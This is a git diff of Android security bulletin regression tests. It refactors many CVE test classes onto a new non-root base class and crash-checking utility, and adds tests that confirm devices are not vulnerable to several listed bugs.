import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183963253 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 84ae114..21d2456 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -15,15 +15,20 @@
*/
package android.security.cts;
+
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Bug_187957589 extends SecurityTestCase {
+public class Bug_187957589 extends NonRootSecurityTestCase {
/**
* b/187957589
* Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids.
@@ -32,9 +37,11 @@
@AsbSecurityTest(cveBugId = 187957589)
public void testPocBug_187957589() throws Exception {
assumeFalse(moduleIsPlayManaged("com.google.android.os.statsd"));
- AdbUtils.runPoc("Bug-187957589", getDevice());
- // Sleep to ensure statsd was able to process the injected event.
- Thread.sleep(5_000);
- AdbUtils.assertNoCrashes(getDevice(), "statsd");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("statsd");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runPoc("Bug-187957589", getDevice());
+ // Sleep to ensure statsd was able to process the injected event.
+ Thread.sleep(5_000);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
new file mode 100644
index 0000000..0723e53
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.junit.Assert.assertThat;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_237291548 extends NonRootSecurityTestCase {
+
+ private static final String TEST_PKG = "android.security.cts.BUG_237291548";
+ private static final String TEST_CLASS = TEST_PKG + ".DeviceTest";
+ private static final String TEST_APP = "BUG-237291548.apk";
+ private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit");
+ }
+
+ @Test(expected = TargetSetupError.class)
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testInvalidApkFails() throws Exception {
+ try {
+ installPackage(TEST_FAIL_INSTALL_APP);
+ } catch (TargetSetupError e) {
+ assertThat(e.getMessage(),
+ containsString("Max limit on number of MIME Groups reached"));
+ throw e;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
new file mode 100644
index 0000000..4b8389e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_248251018 extends NonRootSecurityTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 248251018)
+ public void testEmergencyInfo_cannotInteractAcrossUsers() throws Exception {
+ String packageList =
+ getDevice()
+ .executeShellV2Command("pm list package com.android.emergency")
+ .getStdout();
+ if (!packageList.isEmpty()) {
+ String result =
+ getDevice()
+ .executeShellV2Command("dumpsys package com.android.emergency")
+ .getStdout();
+ assertFalse(result.contains("android.permission.INTERACT_ACROSS_USERS_FULL"));
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_261036568.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_261036568.java
new file mode 100644
index 0000000..223ea22
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_261036568.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import static java.util.Collections.singletonMap;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_261036568 extends NonRootSecurityTestCase {
+
+ private static final String TEST_PKG = "android.security.cts.BUG_261036568_test";
+
+ @Test
+ @AsbSecurityTest(cveBugId = 261036568)
+ public void testBug_261036568() {
+ ITestDevice device = null;
+ int newUser = -1;
+ try {
+ device = getDevice();
+ assumeTrue("Test requires multiple users", device.isMultiUserSupported());
+
+ newUser = device.createUser("CtsUser", /* guest */ true, /* ephemeral */ false);
+ assumeTrue("Unable to create test user", device.startUser(newUser, /* wait */ true));
+
+ installPackage("Bug-261036568-provider.apk", "--user " + newUser);
+ installPackage("Bug-261036568-test.apk");
+
+ Map<String, String> args = singletonMap("target_user", Integer.toString(newUser));
+ runDeviceTestsWithArgs(TEST_PKG, TEST_PKG + ".DeviceTest",
+ "testShareUnownedUriAsPreview", args);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (newUser != -1) {
+ // Stop user 'CTSUser'
+ device.stopUser(newUser);
+
+ // Remove user 'CTSUser'
+ device.removeUser(newUser);
+ }
+ } catch (Exception e) {
+ CLog.e("failed to clean up guest user %d: %e", newUser, e);
+ }
+ }
+ }
+
+ private boolean runDeviceTestsWithArgs(String pkgName, String testClassName,
+ String testMethodName, Map<String, String> testArgs)
+ throws DeviceNotAvailableException {
+ final String testRunner = "androidx.test.runner.AndroidJUnitRunner";
+ final long defaultTestTimeoutMs = 60 * 1000L;
+ final long defaultMaxTimeoutToOutputMs = 60 * 1000L; // 1min
+ return runDeviceTests(getDevice(),
+ testRunner,
+ pkgName,
+ testClassName,
+ testMethodName,
+ /* userId */ null,
+ defaultTestTimeoutMs,
+ defaultMaxTimeoutToOutputMs,
+ /* maxInstrumentationTimeoutMillis */ 0L,
+ /* checkResults */ true,
+ /* isHiddenApiCheckDisabled */ false,
+ testArgs);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 4ee8a5e..29601f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -15,15 +15,20 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
+
import static org.junit.Assume.assumeFalse;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_2182 extends SecurityTestCase {
+public class CVE_2016_2182 extends NonRootSecurityTestCase {
/**
* b/32096880
@@ -35,8 +40,8 @@
assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
String binaryName = "CVE-2016-2182";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
index 462864b..21057e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_8332 extends SecurityTestCase {
+public class CVE_2016_8332 extends NonRootSecurityTestCase {
/**
* b/37761553
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
index 0267551..91766f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0684 extends SecurityTestCase {
+public class CVE_2017_0684 extends NonRootSecurityTestCase {
/**
* b/35421151
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
index 4f08b71..397078d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0726 extends SecurityTestCase {
+public class CVE_2017_0726 extends NonRootSecurityTestCase {
/**
* b/36389123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
index 62c72f2..bd69afb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -15,16 +15,20 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
import static org.junit.Assume.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_13194 extends SecurityTestCase {
+public class CVE_2017_13194 extends NonRootSecurityTestCase {
/**
* b/64710201
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 0990cd4..f67c556 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9410 extends SecurityTestCase {
+public class CVE_2018_9410 extends NonRootSecurityTestCase {
/**
* b/77822336
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index df360d0..3e0760d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9537 extends SecurityTestCase {
+public class CVE_2018_9537 extends NonRootSecurityTestCase {
/**
* b/112891564
@@ -34,11 +37,11 @@
@Test
public void testPocCVE_2018_9537() throws Exception {
String binaryName = "CVE-2018-9537";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV, TombstoneUtils.Signals.SIGBUS, TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
// example of check crash to skip:
// Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
- testConfig.config = new CrashUtils.Config()
+ testConfig.config = new TombstoneUtils.Config()
.setProcessPatterns(binaryName)
.appendAbortMessageExcludes("CHECK\\(.*?\\)");
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index 1bb5e0a4..f4a91b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9547 extends SecurityTestCase {
+public class CVE_2018_9547 extends NonRootSecurityTestCase {
/**
* b/114223584
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index bf2b0d1..0c63f53 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9549 extends SecurityTestCase {
+public class CVE_2018_9549 extends NonRootSecurityTestCase {
/**
* b/112160868
@@ -33,9 +36,9 @@
@Test
public void testPocCVE_2018_9549() throws Exception {
String binaryName = "CVE-2018-9549";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.config
.setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index a4d088d..0e0e2cf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -19,8 +19,9 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -29,7 +30,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9558 extends SecurityTestCase {
+public class CVE_2018_9558 extends NonRootSecurityTestCase {
/**
* b/112161557
@@ -43,10 +44,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String[] signals = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2018-9558";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
index ceeb117..d8027c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9561 extends SecurityTestCase {
+public class CVE_2018_9561 extends NonRootSecurityTestCase {
/**
* b/111660010
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
index 09d391e..22f1c97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9563 extends SecurityTestCase {
+public class CVE_2018_9563 extends NonRootSecurityTestCase {
/**
* b/114237888
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index 6e4d588..cafea31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9564 extends SecurityTestCase {
+public class CVE_2018_9564 extends NonRootSecurityTestCase {
/**
* b/114238578
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
index ab18f52..02c470b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9584 extends SecurityTestCase {
+public class CVE_2018_9584 extends NonRootSecurityTestCase {
/**
* b/114047681
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
index 4f3a3bf..8c24f9d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9585 extends SecurityTestCase {
+public class CVE_2018_9585 extends NonRootSecurityTestCase {
/**
* b/117554809
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index e899b7a..fb300c4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9593 extends SecurityTestCase {
+public class CVE_2018_9593 extends NonRootSecurityTestCase {
/**
* b/116722267
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index d6e8fb5..d196681 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9594 extends SecurityTestCase {
+public class CVE_2018_9594 extends NonRootSecurityTestCase {
/**
* b/116791157
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
index 826db69..6f4c33b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2007 extends SecurityTestCase {
+public class CVE_2019_2007 extends NonRootSecurityTestCase {
/**
* b/120789744
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
index 373703e..9fe5cb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2011 extends SecurityTestCase {
+public class CVE_2019_2011 extends NonRootSecurityTestCase {
/**
* b/120084106
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index 181d660..926bd8c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
